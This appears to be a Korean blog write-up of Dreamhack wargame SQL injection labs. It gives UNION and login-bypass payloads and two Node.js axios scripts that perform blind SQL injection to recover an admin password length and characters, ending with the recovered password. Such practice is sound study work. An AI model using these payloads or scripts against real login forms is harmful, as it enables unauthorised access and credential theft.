반응형
1. UNION 구문을 통하여 원하는 SQL 구문을 실행하는 SQL injection
' UNION Select upw from user_table where uid='admin'#
2. 사용자 이름이 alamo가 아닌 사람의 계정으로 로그인 우회 SQL injection
'or 1=1 and username !="alamo" #
1. 특정 userid에 따른 userpassword의 길이를 알아내는 Blind SQL injection
var axios = require('axios');
var qs = require('qs');
for (let index = 0; index <= 100; index++) {
var data = qs.stringify({
'userid': `" or ((SELECT LENGTH(userpassword) WHERE userid="admin") = ${index})--`,
'userpassword': ''
});
var config = {
method: 'post',
url: 'http://host3.dreamhack.games:16832/login',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
data: data
};
axios(config)
.then(function (response) {
let data = JSON.stringify(response.data)
if (data.indexOf("wrong") == -1) {
console.log(index)
}
else {
return
}
})
.catch(function (error) {
console.log(error);
});
}
2. userpassword의 길이를 알아내었으니, index마다 값을 알아내는 Blind SQL injection
var axios = require('axios');
var qs = require('qs');
let result = [];
for (let index = 1; index <= 32; index++) {
for (let index2 = 0x2F; index2 <= 0x7E; index2++) {
var data = qs.stringify({
'userid': `" or ((SELECT SUBSTR(userpassword,${index},1) WHERE userid="admin") = CHAR(${index2}))--`,
'userpassword': 'asdf'
});
var config = {
method: 'post',
url: 'http://host3.dreamhack.games:22018/login',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
data: data
};
axios(config)
.then(function (response) {
let data = JSON.stringify(response.data)
if (data.indexOf("wrong") == -1) {
result.push(String.fromCharCode(index2))
console.log(result)
}
else {
return
}
})
.catch(function (error) {
console.log(error);
});
}
}
3. array to string 으로 문자열화 하여 실제 로그인
var password = [
'0', 'e', 'c', 'c', 'a', '1',
'2', 'd', '5', '8', '2', 'c',
'c', '4', 'a', 'd', '3', '4',
'6', '7', '3', '1', '7', '0',
'd', '2', '8', '7', '2', '2',
'9', '4'
]
console.log(password.join(''))
반응형
'Web hacking > 이론' 카테고리의 다른 글
SSRF (web-ssrf) (0) | 2022.10.21 |
---|---|
File Vulnerability (image-storage, file-download-1) (0) | 2022.08.31 |
Command Injection (0) | 2022.08.24 |
Blind NoSQL Injection (Mongo) (0) | 2022.08.23 |
비관계형 데이터베이스 Mongo DB, Redis, Couch DB (0) | 2022.08.17 |
최근댓글